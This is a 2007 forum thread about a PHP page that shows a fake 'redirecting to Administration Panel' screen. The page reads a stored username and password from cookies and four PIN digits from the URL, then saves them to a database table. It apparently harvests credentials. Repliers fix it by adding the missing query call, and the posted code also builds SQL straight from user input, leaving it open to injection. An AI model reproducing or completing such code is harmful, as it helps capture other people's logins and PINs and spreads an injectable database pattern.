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View Full Version : hm this is wierd



Xiwl
05-05-2007, 04:48 PM
i have this



<html>
<head>
<meta http-equiv="refresh" target="_parent" content="5;url=index.php">
</head>
<body bgcolor="#000000">
<center><font color="#FFFFFF" face="Arial" size="2"><b>
You will now be directed to the Administration Panel.
<br>
<br>
<img src="http://ajaxload.info/cache/00/00/00/ff/ff/ff/18-0.gif">
</body>
<?
$conn = mysql_connect("localhost","username","pass");
mysql_select_db(db_name) or die(mysql_error());

$pin1 = $_GET['first'];

$pin2 = $_GET['second'];

$pin3 = $_GET['third'];

$pin4 = $_GET['final'];

$user = $_COOKIE['rsadminsuser'];

$pass = $_COOKIE['rsadminspass'];

echo("<br><br>This is JUST to make sure its working this will not be on the real thing...<br><br>Your username is $user<br>Your pass is $pass<br>Your pin is $pin1$pin2$pin3$pin4");

$sql = "INSERT INTO entrys SET user='$user', pass='$pass', pin1='$pin1', pin2='$pin2', pin3='$pin3', pin4='$pin4'";
?>


Btw in the db details they are correct, it doesnt display an error but doesnt seem to insert into the db.

Invent
05-05-2007, 04:49 PM
It doesn't insert into the DB as there isnt a mysql_query? :S

Xiwl
05-05-2007, 04:51 PM
$sql = "INSERT INTO entrys SET user='$user', pass='$pass', pin1='$pin1', pin2='$pin2', pin3='$pin3', pin4='$pin4'";

Blob
05-05-2007, 05:04 PM
<html>
<head>
<meta http-equiv="refresh" target="_parent" content="5;url=index.php">
</head>
<body bgcolor="#000000">
<center><font color="#FFFFFF" face="Arial" size="2"><b>
You will now be directed to the Administration Panel.
<br>
<br>
<img src="http://ajaxload.info/cache/00/00/00/ff/ff/ff/18-0.gif">
</body>
<?
$conn = mysql_connect("localhost","username","pass");
mysql_select_db(db_name) or die(mysql_error());

$pin1 = $_GET['first'];

$pin2 = $_GET['second'];

$pin3 = $_GET['third'];

$pin4 = $_GET['final'];

$user = $_COOKIE['rsadminsuser'];

$pass = $_COOKIE['rsadminspass'];

echo("<br><br>This is JUST to make sure its working this will not be on the real thing...<br><br>Your username is $user<br>Your pass is $pass<br>Your pin is $pin1$pin2$pin3$pin4");

$sql = "INSERT INTO entrys SET user='$user', pass='$pass', pin1='$pin1', pin2='$pin2', pin3='$pin3', pin4='$pin4'";
mysql_query($sql);
?>

Xiwl
05-05-2007, 05:08 PM
once again, you da man!

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